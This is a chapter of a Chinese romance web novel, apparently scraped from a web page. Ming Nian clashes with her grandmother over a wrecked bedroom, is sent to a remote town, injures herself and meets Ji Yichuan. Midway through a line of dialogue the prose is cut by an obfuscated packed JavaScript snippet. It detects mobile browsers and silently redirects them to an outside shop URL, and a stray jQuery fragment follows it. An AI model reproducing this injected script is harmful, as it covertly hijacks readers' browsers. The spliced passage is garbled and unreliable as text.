“明嘉宇,谁准你进我卧室,乱碰我的东西?”
明念回国后,因体重超过闻雯定下的‘标准体重’整整两天什么都没吃,饿得心慌焦虑。
一早出门交完比赛设计稿,回到家后发现自己房间一团糟,明念只觉血液直冲大脑,气得头晕目眩。
她刚提高音量,老太太就火速爬上楼梯,像母鸡护小鸡,把孙子护在身后,“我让他进的怎么了?再说了卧室哪里乱了?你一会收拾一下不就完了?”
哪里乱了?
床单上洒满零食碎屑,台灯躺在地上,灯泡碎裂,还有地板上融化的巧克力,最让人难以忍受的是,衣柜里的裙子几条被剪成碎片。
老太太背后的小恶魔,探出头朝明念露出邪恶的笑容。
明念捡起地上的剪刀,老太太如临大敌,警惕地朝明念大声嚷嚷:“你拿那么危险的物品对着我干什么?你想谋杀我吗?”
“既然知道危险,为什么要把剪刀给你宝贵的孙子?还让他拿着乱玩。”
老太太被怼的哑口无言。
明念下逐客令,“麻烦离开我的房间,谢谢。”
“谁稀罕在你这呆着啊!”老太太恶狠狠瞪她一眼,“什么你的房间,等你嫁了人,这栋房子跟你没有一分钱关系!”
“乖孙,我们下楼去玩啊。”
老太太蹲下给明嘉宇慈祥和蔼说话的态度,十九年里,从未给过明念。
明念出生就因为性别是女孩被奶奶讨厌,她没有做错任何事情,只是因为是女孩,对奶奶来讲便是天大的错误。
她努力得到的成绩和奖项换来的也只是父母敷衍的夸奖。
重重关上门,明念环顾满地狼藉的卧室,无力地坐在沙发角落,那是她房内仅存干净的地方。
“念念,没事吧。”闻雯敲了两下门后,端着果汁进来。
那天大吵大闹后,闻雯敛下心性,继续扮演贤惠的妻子,对明嘉宇在家的做的一切都十分纵容。
明念叹口气,说:“妈妈,我想搬出去住。”
闻雯置若罔闻,摸了摸明念的头,劝道: “你只是最近太累了,出去放松一下怎么样?”
*
所谓出去放松,其实是去南方某小镇,让明念充当说客。
梁爱荣嫁入景家一切顺遂,只有一个成天和她作对的小姑子,让她头疼。
小姑子名叫景昭禾,年轻时酷爱摇滚,为爱当三。摇滚歌手原配老婆知道后,喊了一群小姐妹在马路上围攻景昭禾,打的景昭禾当场失去孩子。
这篇丑闻被景家花大价钱压下。
后来景昭禾性情大变,开始四处旅游,缓舒心情,在平阳镇爱上了乡镇老师,并为了他,久居平阳镇,除了每年春节短信问候,平常基本上不和景家联系。
如今,平阳镇为了经济发展,开发旅游古镇项目,要求原住居民搬离。
可景昭禾始终不愿意在撤离同意书上签字,接手古镇修缮的恒源集团和景家相熟,不敢对景昭禾采用强制手段,所以打电话给景家,希望他们中间调和。
梁爱荣对这个小姑子没什么好感,在她眼里,无论景昭禾是爱上摇滚歌手还是嫁给乡镇老师,对她来讲都没有什么区别,那只是景昭禾自诩清醒的证明。
丈夫让她处理这件事情,她懒得过问,只能拜托闻雯,想让她走个场面,去一趟平阳镇,无论成功与否都不重要,做个样子就算了。
闻雯最近因私生子入住家里,不可能此刻离家,给沛城那位留下机会。
故而,安排明念代替她去平阳镇。
穿过一大片广阔无人的田地,行驶在坎坷不平的路上,明念看向车窗外,途中除了几个开着三轮车拉货的农民,她什么人都没遇见。
这里可真偏僻。
如果不是知道司机是景家安排的,明念怀疑自己要被拐卖了。
昨天刚下过雨,大小不一的石头埋在泥浆里,车子艰难驶过,溅起地上一道道泥水。
一道尖锐的‘哧’声,突然响起,车因轮胎深陷在泥沼里,缓缓停下。
“抱歉,明小姐,我下去看一下怎么回事。”司机说完便下车检查。
明念心情本就很糟糕。
显然老天爷觉着她的心情还有更糟糕的余地。
司机告诉明念后备箱有备用轮胎,但没有小型千斤顶,所以为了天黑前赶到目的地,他要去附近寻找村民看看能不能借到工具。
明念一个人被迫留在人生地不熟的地方。
等待了一个多小时,不见司机回来,中间倒是有几个光着膀子拿着斧头的男人路过,边说边笑,打量着这辆在这贫穷的地方很少见到的豪车。
贫穷的村庄、爆胎的豪车、孤身的女人,完全符合恐怖片的开场。
明念开始在脑补,那几个男人举着斧头就像闪灵的男主一样劈开车门,露出狰狞的面容。
呆在引人注目的奢华豪车内不是明确的选择。
明念今天穿着灰色长袖防晒外套,下面是条长裤,很简单普通不会引起别人注意,打开手机地图,发现这里距离目的地好像也没有很远。
等待不是明念的长项,她给司机发了条短信,趁着四周没人,快速下车。
戴上墨镜和口罩,背上双肩包,明念小心翼翼走在泥泞的小路上,烈日当头,蒸发地上的水分,潮湿又闷热的天气,让明念无比想念在空调房里悠哉玩手机的生活。
根据地图走了半个多小时,明念觉着每条小路都那么相似,她好像迷路了——
低头认真研究地图的明念,走到拐弯处,碰上一辆恰好转弯的自行车。
短暂急促的刹车声划破寂静的环境。
明念被惊的连连后退,一屁股坐在地上,手掌传来刺痛,手和粗糙的地面剧烈摩擦,几颗小石粒擦破深深嵌入掌心。
“你!不看路吗?”
“你没事吧?”
“抱歉。”男人停下自行车,想去扶起摔倒的明念。
防晒衣上的遮阳帽,挡住明念的视线,她蹙眉,甩开男人的手,“别碰我!”
下一秒,明念还没站稳,脚底一滑又摔倒在地。
这一次脚踝不幸扭伤。
“嘶——” 明念再次尝试站起来,可手掌使不上劲,脚踝高高肿起,她变得愈加狼狈,“我真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14239185|151447||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的好讨厌这个地方!”
所有人不想干的事情推到她身上,偏远的小镇,没有认识的人,司机至今没有回电,耳边充斥着聒噪的蝉鸣和鸟叫声。
现在手脚又受伤,这个地方是不是和她犯冲?
她抬头强忍着泪水冲出眼眶,掀开遮阳帽,打量眼前的男人,看起来和她差不多大。
修长提拔的身躯遮住一大半阳光,黑色衬衫外套里面是一件白色T恤,下面是一条长裤。
视线上移,对上他浓眉下是一双清寒冷漠的眼眸,五官清隽,下巴弧线绷紧不难看出他此刻心情不佳,他低头看了眼手机屏幕,神情变得愈发焦虑。
“你还在愣着干什么?快来扶我啊!”明念朝杵在那一动不动的男人招招手,示意他赶快扶她起来。
男人眼底一片冷色,架起她的手臂,扶着她踉踉跄跄地走到一个石墩旁。
“等一下,这上面不干净吧。”明念指了指他的外套,目光瞥了眼石墩。
男人无奈叹气,但还是听进去她的话,把外套脱下,铺在石墩上。
明念微微靠近他,确认他身上没有难以忍受的汗臭味,只有淡淡如同雪后森林里凛冽的冷杉香,才放心坐在他衣服上。
“你是本地人?”明念问道。
“嗯。”
“你叫什么名字?”
“纪以川。”
“OK,纪以川,你认识景昭禾吗?”明念继续打探道。
纪以川半响未言,冷凝的神色宛如寒冰,“不认识。”
“你认识!”明念立刻拆穿他的谎言,“我在学校见过你吧,汉语言系纪以川,你很有名呢,很多漂亮女生给你表白,都被你拒绝了。”
“你是本地人,上小学只能去你们小镇唯一的平阳小学,而景昭禾老公是平阳小学的语文老师,景昭禾是平阳小学的英语老师,你不仅认识他们,你还是他们学生吧。”明念洋洋得意的分析道。
“你知道答案还问我?”纪以川冷笑,“你是恒源集团的?也是来劝景老师签字的吗?”
“我不是恒源集团的。”明念摘下口罩和墨镜,和颜悦色道: “按照辈分,其实我应该喊景昭禾一声姑姑的,我是景家人派来前来看望景姑姑的。”
显然,纪以川并不相信她的说辞,“如果你没事了,我就先走了。”
“等一等!”明念拽住他的衣角,莹润的眼眸盈上一层水雾,“我受伤了,你不能帮我去便利店买点创可贴和碘伏清洗一下吗?”
怕他不相信,明念主动摊开手掌,细嫩的掌心泛起几道血痕,还有几颗小石子深陷在皮肤里。
见他毫无反应,明念催促道:“做人总要有点责任心吧,我是因为你才受伤的。”
“哦对了,棉棒和矿泉水也记得买一下。”
又是一阵沉默,蝉鸣的叫嚣让明念心烦。
她只想抓住在这个陌生的地方里她唯一一个勉强不算陌生的人,她紧张地又扯了几下他的衣角,挤出几颗晶莹的泪珠,声音软绵带着一丝讨好,“拜托你了,好吗?”
“我还有事。”纪以川毫不留情地抽走衣角,骑着自行车渐渐走远。